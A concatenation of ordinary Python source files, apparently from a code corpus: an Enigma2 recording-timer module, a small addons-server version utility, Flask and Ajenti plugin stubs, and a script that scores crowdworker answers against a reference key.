Notifications.AddNotificationWithCallback(self.sendStandbyNotification, MessageBox, _("A finished record timer wants to set your\n%s %s to standby. Do that now?") % (getMachineBrand(), getMachineName()), timeout=180) elif self.afterEvent == AFTEREVENT.DEEPSTANDBY or (wasRecTimerWakeup and self.afterEvent == AFTEREVENT.AUTO): if (abs(NavigationInstance.instance.RecordTimer.getNextRecordingTime() - time()) <= 900 or abs(NavigationInstance.instance.RecordTimer.getNextZapTime() - time()) <= 900) or NavigationInstance.instance.RecordTimer.getStillRecording(): print '[Timer] Recording or Recording due is next 15 mins, not return to deepstandby' return True if not Screens.Standby.inTryQuitMainloop: # The shutdown messagebox is not open if Screens.Standby.inStandby: # In standby quitMainloop(1) else: Notifications.AddNotificationWithCallback(self.sendTryQuitMainloopNotification, MessageBox, _("A finished record timer wants to shut down\nyour %s %s. Shutdown now?") % (getMachineBrand(), getMachineName()), timeout=180) return True def keypress(self, key=None, flag=1): if flag and self.wasInStandby: self.wasInStandby = False eActionMap.getInstance().unbindAction('', self.keypress) def setAutoincreaseEnd(self, entry=None): if not self.autoincrease: return False if entry is None: new_end = int(time()) + self.autoincreasetime else: new_end = entry.begin - 30 dummyentry = RecordTimerEntry( self.service_ref, self.begin, new_end, self.name, self.description, self.eit, disabled=True, justplay=self.justplay, afterEvent=self.afterEvent, dirname=self.dirname, tags=self.tags) dummyentry.disabled = self.disabled timersanitycheck = TimerSanityCheck(NavigationInstance.instance.RecordTimer.timer_list, dummyentry) if not timersanitycheck.check(): simulTimerList = timersanitycheck.getSimulTimerList() if simulTimerList is not None and len(simulTimerList) > 1: new_end = simulTimerList[1].begin new_end -= 30 # Allow 30 seconds preparation time if new_end <= time(): return False self.end = new_end return True def setRecordingPreferredTuner(self, setdefault=False): if self.needChangePriorityFrontend: elem = None if not self.change_frontend and not setdefault: elem = config.usage.recording_frontend_priority.value self.change_frontend = True elif self.change_frontend and setdefault: elem = config.usage.frontend_priority.value self.change_frontend = False if elem is not None: setPreferredTuner(int(elem)) def sendStandbyNotification(self, answer): if answer: Notifications.AddNotification(Screens.Standby.Standby) def sendTryQuitMainloopNotification(self, answer): if answer: Notifications.AddNotification(Screens.Standby.TryQuitMainloop, 1) else: global wasRecTimerWakeup wasRecTimerWakeup = False def getNextActivation(self): self.isStillRecording = False if self.state == self.StateEnded or self.state == self.StateFailed: if self.end > time(): self.isStillRecording = True return self.end next_state = self.state + 1 if next_state == self.StateEnded or next_state == self.StateFailed: if self.end > time(): self.isStillRecording = True return { self.StatePrepared: self.start_prepare, self.StateRunning: self.begin, self.StateEnded: self.end }[next_state] def failureCB(self, answer): if answer: self.log(13, "ok, zapped away") # NavigationInstance.instance.stopUserServices() from Screens.ChannelSelection import ChannelSelection ChannelSelectionInstance = ChannelSelection.instance self.service_types = service_types_tv if ChannelSelectionInstance: if config.usage.multibouquet.value: bqrootstr = '1:7:1:0:0:0:0:0:0:0:FROM BOUQUET "bouquets.tv" ORDER BY bouquet' else: bqrootstr = '%s FROM BOUQUET "userbouquet.favourites.tv" ORDER BY bouquet' % self.service_types rootstr = '' serviceHandler = eServiceCenter.getInstance() rootbouquet = eServiceReference(bqrootstr) bouquet = eServiceReference(bqrootstr) bouquetlist = serviceHandler.list(bouquet) if bouquetlist is not None: while True: bouquet = bouquetlist.getNext() if bouquet.flags & eServiceReference.isDirectory: ChannelSelectionInstance.clearPath() ChannelSelectionInstance.setRoot(bouquet) servicelist = serviceHandler.list(bouquet) if servicelist is not None: serviceIterator = servicelist.getNext() while serviceIterator.valid(): if self.service_ref.ref == serviceIterator: break serviceIterator = servicelist.getNext() if self.service_ref.ref == serviceIterator: break ChannelSelectionInstance.enterPath(rootbouquet) ChannelSelectionInstance.enterPath(bouquet) ChannelSelectionInstance.saveRoot() ChannelSelectionInstance.saveChannel(self.service_ref.ref) ChannelSelectionInstance.addToHistory(self.service_ref.ref) NavigationInstance.instance.playService(self.service_ref.ref) else: self.log(14, "user didn't want to zap away, record will probably fail") def timeChanged(self): old_prepare = self.start_prepare self.start_prepare = self.begin - self.prepare_time self.backoff = 0 if int(old_prepare) > 60 and int(old_prepare) != int(self.start_prepare): self.log(15, "record time changed, start prepare is now: %s" % ctime(self.start_prepare)) def gotRecordEvent(self, record, event): # TODO: this is not working (never true), please fix (comparing two swig wrapped ePtrs). if self.__record_service.__deref__() != record.__deref__(): return # self.log(16, "record event %d" % event) if event == iRecordableService.evRecordWriteError: print "WRITE ERROR on recording, disk full?" # Show notification. The 'id' will make sure that it will be # displayed only once, even if multiple timers are failing at the # same time (which is likely in if the disk is full). Notifications.AddPopup(text=_("Write error while recording. Disk full?\n"), type=MessageBox.TYPE_ERROR, timeout=0, id="DiskFullMessage") # OK, the recording has been stopped. We need to properly record # that in our state, but also allow the possibility of a re-try. # TODO: This has to be done. elif event == iRecordableService.evStart: text = _("A recording has been started:\n%s") % self.name notify = config.usage.show_message_when_recording_starts.value and not Screens.Standby.inStandby and \ Screens.InfoBar.InfoBar.instance and \ Screens.InfoBar.InfoBar.instance.execing if self.dirnameHadToFallback: text = '\n'.join((text, _("Please note that the previously selected media could not be accessed and therefore the default directory is being used instead."))) notify = True if notify: Notifications.AddPopup(text=text, type=MessageBox.TYPE_INFO, timeout=3) elif event == iRecordableService.evRecordAborted: NavigationInstance.instance.RecordTimer.removeEntry(self) # We have record_service as property to automatically subscribe to record service events def setRecordService(self, service): if self.__record_service is not None: # print "[remove callback]" NavigationInstance.instance.record_event.remove(self.gotRecordEvent) self.__record_service = service if self.__record_service is not None: # print "[add callback]" NavigationInstance.instance.record_event.append(self.gotRecordEvent) record_service = property(lambda self: self.__record_service, setRecordService) def createTimer(xml): begin = int(xml.get("begin")) end = int(xml.get("end")) serviceref = ServiceReference(xml.get("serviceref").encode("utf-8")) description = xml.get("description").encode("utf-8") repeated = xml.get("repeated").encode("utf-8") rename_repeat = long(xml.get("rename_repeat") or "1") disabled = long(xml.get("disabled") or "0") justplay = long(xml.get("justplay") or "0") always_zap = long(xml.get("always_zap") or "0") afterevent = str(xml.get("afterevent") or "nothing") afterevent = { "nothing": AFTEREVENT.NONE, "standby": AFTEREVENT.STANDBY, "deepstandby": AFTEREVENT.DEEPSTANDBY, "auto": AFTEREVENT.AUTO }[afterevent] eit = xml.get("eit") if eit and eit != "None": eit = long(eit) else: eit = None location = xml.get("location") if location and location != "None": location = location.encode("utf-8") else: location = None tags = xml.get("tags") if tags and tags != "None": tags = tags.encode("utf-8").split(' ') else: tags = None descramble = int(xml.get("descramble") or "1") record_ecm = int(xml.get("record_ecm") or "0") isAutoTimer = int(xml.get("isAutoTimer") or "0") ice_timer_id = xml.get("ice_timer_id") if ice_timer_id: ice_timer_id = ice_timer_id.encode("utf-8") name = xml.get("name").encode("utf-8") # filename = xml.get("filename").encode("utf-8") entry = RecordTimerEntry( serviceref, begin, end, name, description, eit, disabled, justplay, afterevent, dirname=location, tags=tags, descramble=descramble, record_ecm=record_ecm, isAutoTimer=isAutoTimer, ice_timer_id=ice_timer_id, always_zap=always_zap, rename_repeat=rename_repeat) entry.repeated = int(repeated) for l in xml.findall("log"): time = int(l.get("time")) code = int(l.get("code")) msg = l.text.strip().encode("utf-8") entry.log_entries.append((time, code, msg)) return entry class RecordTimer(timer.Timer): def __init__(self): timer.Timer.__init__(self) self.onTimerAdded = [] self.onTimerRemoved = [] self.onTimerChanged = [] self.Filename = Directories.resolveFilename(Directories.SCOPE_CONFIG, "timers.xml") try: self.loadTimer() except IOError: print "unable to load timers from file!" def timeChanged(self, entry): timer.Timer.timeChanged(self, entry) for f in self.onTimerChanged: f(entry) def cleanup(self): for entry in self.processed_timers[:]: if not entry.disabled: self.processed_timers.remove(entry) for f in self.onTimerRemoved: f(entry) self.saveTimer() def doActivate(self, w): # If the timer should be skipped (e.g. disabled or # its end time has past), simply abort the timer. # Don't run through all the states. if w.shouldSkip(): w.state = RecordTimerEntry.StateEnded else: # If active returns true, this means "accepted". # Otherwise, the current state is kept. # The timer entry itself will fix up the delay. if w.activate(): w.state += 1 try: self.timer_list.remove(w) except: print '[RecordTimer]: Remove list failed' # Did this timer reach the final state? if w.state < RecordTimerEntry.StateEnded: # No, sort it into active list insort(self.timer_list, w) else: # Yes. Process repeat if necessary, and re-add. if w.repeated: w.processRepeated() w.state = RecordTimerEntry.StateWaiting w.first_try_prepare = True self.addTimerEntry(w) else: # Check for disabled timers whose end time has passed self.cleanupDisabled() # Remove old timers as set in config self.cleanupDaily(config.recording.keep_timers.value) insort(self.processed_timers, w) self.stateChanged(w) def isRecTimerWakeup(self): return wasRecTimerWakeup def isRecording(self): isRunning = False for timer in self.timer_list: if timer.isRunning() and not timer.justplay: isRunning = True return isRunning def loadTimer(self): # TODO: PATH! if not Directories.fileExists(self.Filename): return try: f = open(self.Filename, 'r') doc = xml.etree.cElementTree.parse(f) f.close() except SyntaxError: from Tools.Notifications import AddPopup from Screens.MessageBox import MessageBox AddPopup(_("The timer file (timers.xml) is corrupt and could not be loaded."), type=MessageBox.TYPE_ERROR, timeout=0, id="TimerLoadFailed") print "timers.xml failed to load!" try: os.rename(self.Filename, self.Filename + "_old") except (IOError, OSError): print "renaming broken timer failed" return except IOError: print "timers.xml not found!" return root = doc.getroot() # Post a message if there are timer overlaps in the timer file checkit = True for timer in root.findall("timer"): newTimer = createTimer(timer) if (self.record(newTimer, True, dosave=False) is not None) and (checkit is True): from Tools.Notifications import AddPopup from Screens.MessageBox import MessageBox AddPopup(_("Timer overlap in timers.xml detected!\nPlease recheck it!"), type=MessageBox.TYPE_ERROR, timeout=0, id="TimerLoadFailed") checkit = False # The message only needs to be displayed once def saveTimer(self): list = ['<?xml version="1.0" ?>\n', '<timers>\n'] for timer in self.timer_list + self.processed_timers: if timer.dontSave: continue list.append('<timer') list.append(' begin="' + str(int(timer.begin)) + '"') list.append(' end="' + str(int(timer.end)) + '"') list.append(' serviceref="' + stringToXML(str(timer.service_ref)) + '"') list.append(' repeated="' + str(int(timer.repeated)) + '"') list.append(' rename_repeat="' + str(int(timer.rename_repeat)) + '"') list.append(' name="' + str(stringToXML(timer.name)) + '"') list.append(' description="' + str(stringToXML(timer.description)) + '"') list.append(' afterevent="' + str(stringToXML({ AFTEREVENT.NONE: "nothing", AFTEREVENT.STANDBY: "standby", AFTEREVENT.DEEPSTANDBY: "deepstandby", AFTEREVENT.AUTO: "auto" }[timer.afterEvent])) + '"') if timer.eit is not None: list.append(' eit="' + str(timer.eit) + '"') if timer.dirname is not None: list.append(' location="' + str(stringToXML(timer.dirname)) + '"') if timer.tags is not None: list.append(' tags="' + str(stringToXML(' '.join(timer.tags))) + '"') list.append(' disabled="' + str(int(timer.disabled)) + '"') list.append(' justplay="' + str(int(timer.justplay)) + '"') list.append(' always_zap="' + str(int(timer.always_zap)) + '"') list.append(' descramble="' + str(int(timer.descramble)) + '"') list.append(' record_ecm="' + str(int(timer.record_ecm)) + '"') list.append(' isAutoTimer="' + str(int(timer.isAutoTimer)) + '"') if timer.ice_timer_id is not None: list.append(' ice_timer_id="' + str(timer.ice_timer_id) + '"') list.append('>\n') for time, code, msg in timer.log_entries: list.append('<log') list.append(' code="' + str(code) + '"') list.append(' time="' + str(time) + '"') list.append('>') list.append(str(stringToXML(msg))) list.append('</log>\n') list.append('</timer>\n') list.append('</timers>\n') try: f = open(self.Filename + ".writing", "w") for x in list: f.write(x) f.flush() os.fsync(f.fileno()) f.close() os.rename(self.Filename + ".writing", self.Filename) except: print "There is not /etc/enigma2/timers.xml file !!! Why ?? " def getNextZapTime(self): now = time() for timer in self.timer_list: if not timer.justplay or timer.begin < now: continue return timer.begin return -1 def getStillRecording(self): isStillRecording = False now = time() for timer in self.timer_list: if timer.isStillRecording: isStillRecording = True break elif abs(timer.begin - now) <= 10: isStillRecording = True break return isStillRecording def getNextRecordingTimeOld(self): now = time() for timer in self.timer_list: next_act = timer.getNextActivation() if timer.justplay or next_act < now: continue return next_act return -1 def getNextRecordingTime(self): nextrectime = self.getNextRecordingTimeOld() faketime = time() + 300 if config.timeshift.isRecording.value: if 0 < nextrectime < faketime: return nextrectime else: return faketime else: return nextrectime def isNextRecordAfterEventActionAuto(self): for timer in self.timer_list: if timer.justplay: continue if timer.afterEvent == AFTEREVENT.AUTO or timer.afterEvent == AFTEREVENT.DEEPSTANDBY: return True return False def record(self, entry, ignoreTSC=False, dosave=True): # Called by loadTimer with dosave=False timersanitycheck = TimerSanityCheck(self.timer_list, entry) if not timersanitycheck.check(): if not ignoreTSC: print "timer conflict detected!" return timersanitycheck.getSimulTimerList() else: print "ignore timer conflict" elif timersanitycheck.doubleCheck(): print "ignore double timer" return None entry.timeChanged() # print "[Timer] Record " + str(entry) entry.Timer = self self.addTimerEntry(entry) if dosave: self.saveTimer() # Trigger onTimerAdded callbacks for f in self.onTimerAdded: f(entry) return None def isInTimer(self, eventid, begin, duration, service): returnValue = None kind = 0 time_match = 0 isAutoTimer = 0 bt = None check_offset_time = not config.recording.margin_before.value and not config.recording.margin_after.value end = begin + duration refstr = ':'.join(service.split(':')[:11]) for x in self.timer_list: isAutoTimer = 0 if x.isAutoTimer == 1: isAutoTimer |= 1 if x.ice_timer_id is not None: isAutoTimer |= 2 check = ':'.join(x.service_ref.ref.toString().split(':')[:11]) == refstr if not check: sref = x.service_ref.ref parent_sid = sref.getUnsignedData(5) parent_tsid = sref.getUnsignedData(6) if parent_sid and parent_tsid: # Check for subservice sid = sref.getUnsignedData(1) tsid = sref.getUnsignedData(2) sref.setUnsignedData(1, parent_sid) sref.setUnsignedData(2, parent_tsid) sref.setUnsignedData(5, 0) sref.setUnsignedData(6, 0) check = sref.toCompareString() == refstr num = 0 if check: check = False event = eEPGCache.getInstance().lookupEventId(sref, eventid) num = event and event.getNumOfLinkageServices() or 0 sref.setUnsignedData(1, sid) sref.setUnsignedData(2, tsid) sref.setUnsignedData(5, parent_sid) sref.setUnsignedData(6, parent_tsid) for cnt in range(num): subservice = event.getLinkageService(sref, cnt) if sref.toCompareString() == subservice.toCompareString(): check = True break if check: timer_end = x.end timer_begin = x.begin kind_offset = 0 if not x.repeated and check_offset_time: if 0 < end - timer_end <= 59: timer_end = end elif 0 < timer_begin - begin <= 59: timer_begin = begin if x.justplay: kind_offset = 5 if (timer_end - x.begin) <= 1: timer_end += 60 if x.always_zap: kind_offset = 10 if x.repeated != 0: if bt is None: bt = localtime(begin) bday = bt.tm_wday begin2 = 1440 + bt.tm_hour * 60 + bt.tm_min end2 = begin2 + duration / 60 xbt = localtime(x.begin) xet = localtime(timer_end) offset_day = False checking_time = x.begin < begin or begin <= x.begin <= end if xbt.tm_yday != xet.tm_yday: oday = bday - 1 if oday == -1: oday = 6 offset_day = x.repeated & (1 << oday) xbegin = 1440 + xbt.tm_hour * 60 + xbt.tm_min xend = xbegin + ((timer_end - x.begin) / 60) if xend < xbegin: xend += 1440 if x.repeated & (1 << bday) and checking_time: if begin2 < xbegin <= end2: if xend < end2: # Recording within event time_match = (xend - xbegin) * 60 kind = kind_offset + 3 else: # Recording last part of event time_match = (end2 - xbegin) * 60 kind = kind_offset + 1 elif xbegin <= begin2 <= xend: if xend < end2: # Recording first part of event time_match = (xend - begin2) * 60 kind = kind_offset + 4 else: # Recording whole event time_match = (end2 - begin2) * 60 kind = kind_offset + 2 elif offset_day: xbegin -= 1440 xend -= 1440 if begin2 < xbegin <= end2: if xend < end2: # Recording within event time_match = (xend - xbegin) * 60 kind = kind_offset + 3 else: # Recording last part of event time_match = (end2 - xbegin) * 60 kind = kind_offset + 1 elif xbegin <= begin2 <= xend: if xend < end2: # Recording first part of event time_match = (xend - begin2) * 60 kind = kind_offset + 4 else: # Recording whole event time_match = (end2 - begin2) * 60 kind = kind_offset + 2 elif offset_day and checking_time: xbegin -= 1440 xend -= 1440 if begin2 < xbegin <= end2: if xend < end2: # Recording within event time_match = (xend - xbegin) * 60 kind = kind_offset + 3 else: # Recording last part of event time_match = (end2 - xbegin) * 60 kind = kind_offset + 1 elif xbegin <= begin2 <= xend: if xend < end2: # Recording first part of event time_match = (xend - begin2) * 60 kind = kind_offset + 4 else: # Recording whole event time_match = (end2 - begin2) * 60 kind = kind_offset + 2 else: if begin < timer_begin <= end: if timer_end < end: # Recording within event time_match = timer_end - timer_begin kind = kind_offset + 3 else: # Recording last part of event time_match = end - timer_begin kind = kind_offset + 1 elif timer_begin <= begin <= timer_end: if timer_end < end: # Recording first part of event time_match = timer_end - begin kind = kind_offset + 4 else: # Recording whole event time_match = end - begin kind = kind_offset + 2 if time_match: returnValue = (time_match, kind, isAutoTimer) if kind in (2, 7, 12): # When full recording do not look further break return returnValue def removeEntry(self, entry): # print "[Timer] Remove " + str(entry) # Avoid re-enqueuing entry.repeated = False # Abort timer. # This sets the end time to current time, so timer will be stopped. entry.autoincrease = False entry.abort() if entry.state != entry.StateEnded: self.timeChanged(entry) # print "state: ", entry.state # print "in processed: ", entry in self.processed_timers # print "in running: ", entry in self.timer_list # Autoincrease instant timer if possible if not entry.dontSave: for x in self.timer_list: if x.setAutoincreaseEnd(): self.timeChanged(x) # Now the timer should be in the processed_timers list. # Remove it from there. self.processed_timers.remove(entry) self.saveTimer() # Trigger onTimerRemoved callbacks for f in self.onTimerRemoved: f(entry) def shutdown(self): self.saveTimer()
harikishen/addons-server
refs/heads/master
src/olympia/search/utils.py
5
import re from olympia.versions.compare import version_re def floor_version(version): if version: version = str( version).replace('.x', '.0').replace('.*', '.0').replace('*', '.0') match = re.match(version_re, version) if match: major, minor = match.groups()[:2] major, minor = int(major), int(minor or 0) version = '%s.%s' % (major, minor) return version
stainsteelcrown/nonsense-story-generator
refs/heads/master
venv/lib/python2.7/site-packages/flask/testsuite/test_apps/config_package_app/__init__.py
1257
import os import flask here = os.path.abspath(os.path.dirname(__file__)) app = flask.Flask(__name__)
lupyuen/RaspberryPiImage
refs/heads/master
usr/share/pyshared/ajenti/plugins/services/__init__.py
1
from ajenti.api import * from ajenti.plugins import * info = PluginInfo( title='Services', icon='play', dependencies=[ PluginDependency('main'), PluginDependency('dashboard'), ], ) def init(): import api try: import dbus import sm_upstart import sm_systemd except ImportError: pass import sm_sysvinit import sm_sysvinit_centos import sm_freebsd import sm_osx import main import widget import sensor
mitre/hybrid-curation
refs/heads/master
src/simple-score.py
1
""" Copyright 2015 The MITRE Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import division import sys import re import codecs import types import csv import sqlite3 import json import collections import fileinput """ Score Turker responses against an answer key. Computes simple accuracy, as well as precision, recall and F-measure. Displays some other summary statistics like abstentions and average duration. Can also produce simplistic raw interannotator scores. """ ###################################################################### # # Readers def readReferences (filename): references = {} nIgnored = 0 try: i = 0 with open(filename, "rU") as f: for i, line in enumerate(f): line = line.strip() line = line.split() if len(line) > 1: (id, answer) = line[0:2] references[id] = answer else: nIgnored += 1 except Exception as e: print >>sys.stderr, "Error reading docs file %r, line %d" % (filename, i) raise if nIgnored: print >>sys.stderr, "Ignored %d odd (missing?) references" % nIgnored return references # Why are these classes, could just be simple functions class jsonResponseReader: def __init__ (self, file, itemRef="Input.itemID", answerRef="Answer.answer", abstain=None): self.itemRef = itemRef self.answerRef = answerRef self.abstain = abstain print >>sys.stderr, "%s: Reading from %s ..." % (self, file) self.file = file def __iter__ (self): n = 0 for line in self.file: row = json.loads(line) row[self.answerRef] = row.get(self.answerRef) or self.abstain # Same as below - refactor if necessary # if not row.get("Input.itemID"): # row["Input.itemID"] = row[self.itemRef] # if not row.get("Answer.answer"): # row["Answer.answer"] = row.get(self.answerRef, None) yield row n += 1 print >>sys.stderr, "%s: Read %d" % (self, n) class tabResponseReader: def __init__ (self, file, itemRef="Input.itemID", answerRef="Answer.answer", abstain=None): self.itemid = itemid self.answer = answer self.abstain = abstain print >>sys.stderr, "Reading from %s ..." % file self.csvReader = csv.DictReader(file, dialect=csv.excel_tab) def __iter__ (self): n = 0 for row in self.csvReader: # print >>sys.stderr, self, row assert(not row.has_key("Answer.itemID") or (row["Input.itemID"] == row["Answer.itemID"])) for key, val in row.iteritems(): try: row[key] = val and val.decode("utf8") or None except UnicodeDecodeError, e: print >>sys.stderr, '''%s: %s => \"%r"''' % (e, key, val) if not row.get("Input.itemID"): row["Input.itemID"] = row[self.itemid] if not row.get("Answer.answer"): row["Answer.answer"] = row.get(self.answer, None) row["Answer.answer"] = row["Answer.answer"] or self.abstain yield row n += 1 print >>sys.stderr, "%s: %d" % (self, n) ###################################################################### # # Scoring import math def median (data): if not data: return None data = sorted(data) # print data l = len(data) if l > 1 and l % 2: return (data[int(math.floor(l/2))] + data[int(math.ceil(l/2))]) / 2 else: return data[int(l/2)] class simpleScorer: def __init__ (self, responses, itemRef="Input.itemID", answerRef="Answer.answer"): self.responses = list(responses) self.itemRef = itemRef self.answerRef = answerRef labelWidth = 40 def scoreReference (self, references, smoothing=0.5, prAnswers=set()): itemRef = self.itemRef answerRef = self.answerRef overall = collections.defaultdict(float) turkers = collections.defaultdict(lambda : collections.defaultdict(float)) prAnswers = set(a.lower() for a in prAnswers) allDurations = [] adjustedDurations = [] for item in self.responses: itemID = item[itemRef] turkerID = item["WorkerId"] if itemID in references: overall["total"] += 1 turkers[turkerID]["total"] += 1 ref = references[itemID].lower() response = item[answerRef] # xprint >>sys.stderr, turkerID, response, ref if response is None: turkers[turkerID]["abstentions"] += 1 else: response = response.lower() if ref == response: overall["correct"] += 1 turkers[turkerID]["correct"] += 1 if ref in prAnswers: overall["recallDenominator"] += 1 turkers[turkerID]["recallDenominator"] += 1 if response in prAnswers: turkers[turkerID]["precisionDenominator"] += 1 overall["precisionDenominator"] += 1 if ref == response: turkers[turkerID]["prNumerator"] += 1 overall["prNumerator"] += 1 turkers[turkerID]["totalItems"] += 1 dur = float(item["WorkTimeInSeconds"]) aDur = item.get("AdjustedWorkTime", None) if aDur is not None: aDur = float(aDur) turkers[turkerID]["duration"] += aDur adjustedDurations.append(aDur) else: turkers[turkerID]["duration"] += dur allDurations.append(dur) if adjustedDurations: print >>sys.stderr, "Using adjusted HIT durations" if len(allDurations) != len(adjustedDurations): print >>sys.stderr, "***** Mix of raw and adjusted durations!!! *****" for turkerID, scores in turkers.iteritems(): scores["accuracy"] = (scores["correct"] + smoothing) / (scores["total"] + 1) print "======== Overall" print "%20s %4d" % ("Total Turkers", len(turkers)) print "%20s %s" % ("Avg response", self.prettyPrint([(overall["correct"], overall["total"])]) ) print "%20s %s" % ("Avg Turker", self.prettyPrint([(s["correct"], s["total"]) for s in turkers.itervalues()])) print "%20s %8.3f" % ("Median Turker", median([s["correct"] / s["total"] for s in turkers.itervalues() if s["total"]]) or 0) print "%20s %s" % ("Avg Duration", self.prettyPrint([(s["duration"], s["totalItems"]) for s in turkers.itervalues()])) print "%20s %8.3f (of %d)" % ("Median Duration", median(adjustedDurations or allDurations), len(adjustedDurations or allDurations)) # print "%20s %8.3f (of %d)" % ("Median Duration", median([s["duration"] / s["totalItems"] for s in turkers.itervalues() if s["total"]]), len(turkers)) if prAnswers: print "%20s %s" % ("Avg Precision", self.prettyPrint([(s["prNumerator"], s["precisionDenominator"]) for s in turkers.itervalues()])) print "%20s %s" % ("Avg Recall", self.prettyPrint([(s["prNumerator"], s["recallDenominator"]) for s in turkers.itervalues()])) print "%20s %s" % ("Overall Precision", self.prettyPrint([(overall["prNumerator"], overall["precisionDenominator"])]) ) print "%20s %s" % ("Overall Recall", self.prettyPrint([(overall["prNumerator"], overall["recallDenominator"])]) ) print "%-20s %-18s %-18s %-18s %-9s %-8s %-8s" % ("======== Individual", "Smoothed accuracy", "Precision ", "Recall ", "F ", "Duration", "Abstains") for turkerID in sorted(turkers, key=lambda t: (turkers[t]["accuracy"], turkers[t]["total"]), reverse=True): acc = self.prettyPrint([(turkers[turkerID]["correct"], turkers[turkerID]["total"])], turkers[turkerID]["accuracy"]) if prAnswers: p = self.prettyPrint([(turkers[turkerID]["prNumerator"], turkers[turkerID]["precisionDenominator"])]) r = self.prettyPrint([(turkers[turkerID]["prNumerator"], turkers[turkerID]["recallDenominator"])]) if (turkers[turkerID]["precisionDenominator"] or turkers[turkerID]["recallDenominator"]): f = "%8.3f " % (2*turkers[turkerID]["prNumerator"] / ((turkers[turkerID]["precisionDenominator"] + turkers[turkerID]["recallDenominator"]) or 1)) else: f = "%9s" % "" else: p = r = f = "" dur = "%10.1f" % (turkers[turkerID]["duration"] / turkers[turkerID]["totalItems"]) ab = ("%8.3f" % (turkers[turkerID]["abstentions"] / turkers[turkerID]["totalItems"]) if turkers[turkerID]["abstentions"] else " " * 8) print "%20s%s%s%s%s%s%s" % (turkerID, acc, p, r, f, dur, ab) # def report1 (self, label, ratios, figure=None): # # Unused? # """Ratios looks like [(num, denom) ...]""" # w = self.labelWidth # ratios = list(ratios) # n = sum(1 for (num, denom) in ratios if denom > 0) # if figure is None and n > 0: # figure = sum(num/denom for (num, denom) in ratios if denom > 0) / n # note = "" # if len(ratios) == 1: # note = "(%g / %g)" % ratios[0] # elif len(ratios) > 1: # note = "(avg of %d)" % n # if n == 0 and figure is None: # print "%*s%8s" % (w, label, "---") # else: # print "%*s%8.3f\t%s" % (w, label, figure, note) def prettyPrint (self, ratios, figure=None): """Produces an average of the inputs, with the numerator and denominator in parens Ratios looks like [(num, denom), ...]""" ratios = list(ratios) n = sum(1 for (num, denom) in ratios if denom > 0) if figure is None and n > 0: figure = sum(num/denom for (num, denom) in ratios if denom > 0) / n note = "" if len(ratios) == 1: note = "(%g / %g)" % ratios[0] elif len(ratios) > 1: note = "(avg of %d)" % n if n == 0: return "%8s %11s" % ("---", "") else: return "%8.3f %-11s" % (figure, note) def interannotator (self): itemRef = self.itemRef answerRef = self.answerRef item2responses = collections.defaultdict(dict) for item in self.responses: itemID = item[itemRef] turkerID = item["WorkerId"] response = item[answerRef] item2responses[itemID][turkerID] = response pairs = collections.defaultdict(lambda : collections.defaultdict(int)) for responses in item2responses.itervalues(): for turker1, response1 in responses.iteritems(): for turker2, response2 in responses.iteritems(): if turker2 > turker1: pairs[(turker1, turker2)]["total"] += 1 if response1 == response2: pairs[(turker1, turker2)]["agreed"] += 1 totalAgreement = 0 print "\n========== Simple interannotator agreement" for pair, data in pairs.iteritems(): print "%15s %-15s %s" % (pair[0], pair[1], self.prettyPrint([(data["agreed"], data["total"])])) print "%31s %s" % ("Average", self.prettyPrint([(d["agreed"], d["total"]) for d in pairs.itervalues()])) # class dbWriter: # def __init__ (self, file, verbose=1): # self.conn = sqlite3.connect(file) # self.cursor = self.conn.cursor() # self.verbose = verbose # def loadResponses (self, responses): # for response in responses: # # print >>sys.stderr, response # row = [response[x] or None for x in "AssignmentId Input.itemID Answer.answer WorkerId WorkTimeInSeconds".split()] # # print >>sys.stderr, row # self.cursor.execute("""insert or ignore into responses (assignmentID, itemID, answer, workerID, workTime) values (?, ?,?,?,?)""", row) # def loadQuestions (self, responses, cols): # cache = [] # cols = cols.split() # for response in responses: # row = [response["Input.itemID"], # response["HITId"], # " - ".join([response.get(x, "?") for x in cols])] # if row not in cache: # self.cursor.execute("""insert or ignore into questions (itemID, hitID, question) values (?,?,?)""", row) # cache.append(row) # def loadReference (self, responses, refcol="Input.control_right"): # cache = [] # for response in responses: # refdata = response.get(refcol, None) or response.get("Input." + refcol, None) # row = [response.get("Input.itemID", None), # response.get(refcol, None) or response.get("Input." + refcol, None), # None # Skip wrongAnswer stuff for now ... # ] # if row not in cache: # # print >>sys.stderr, row # self.cursor.execute("""insert or ignore into referenceAnswers (itemID, rightAnswer, wrongAnswer) values (?,?,?)""", row) # cache.append(row) # def loadPredicted (self, responses): # """Sadly specific to this HIT""" # cache = [] # for response in responses: # scores = [(float(response["Input.score%d" % x]), x) for x in range(1, 4)] # scores.sort(reverse=True) # if scores[0][0] > scores[1][0]: # vote = scores[0][1] # else: # vote = None # row = [response["Input.itemID"], vote] # if row not in cache: # self.cursor.execute("""insert into predictedAnswers (itemID, answer) values (?,?)""", row) # cache.append(row) # def loadMajority (self, responses, threshold=3): # groups = {} # for response in responses: # itemID = response["Input.itemID"] # answer = response["Answer.answer"] # groups[itemID] = groups.get(itemID, {}) # groups[itemID][answer] = groups[itemID].get(answer, 0) + 1 # nLoaded = 0 # for itemID, dist in groups.iteritems(): # l = [(dist[answer], answer) for answer in dist] + [(0.0, None)] # l.sort(reverse=True) # # print >>sys.stderr, l # tots = sum([n for (n, answer) in l]) # if tots >= threshold and l[0][0] > l[1][0]: # answer = l[0][1] # self.cursor.execute("""insert or ignore into majorityAnswers (itemID, answer, majority) values (?,?,?)""", # (itemID, answer, answer and (l[0][0]/tots) or None)) # nLoaded += 1 # if self.verbose: # print >>sys.stderr, "%s: %d majority answers" % (self, nLoaded) ###################################################################### # # Options import optparse optparser = optparse.OptionParser() optparser.add_option("-v", "--verbose", dest="verbose", action = "count", help = "More verbose output") optparser.add_option("--references", metavar="FILE", help="Read reference answers from FILENAME in TSV format") optparser.add_option("--tsv", action="store_true", help="Input lines are in tab-sep format") optparser.add_option("--abstain", metavar="NOANSWER", default=None, help="Interpret no answer as NOANSWER") optparser.add_option("--items", metavar="NAME", default="Input.itemID", help="Use NAME for item ID identifier (default %default)") optparser.add_option("--answers", metavar="NAME", default="Answer.answer", help="Use NAME for answer identifier (default %default)") optparser.add_option("--pr", metavar="ANSWERS", default="", help="""Report precision, recall, F-measure. ANSWERS is a list of "true" labels.""") optparser.add_option("--inter", action="store_true", help="Report simple inter-annotator agreement") # 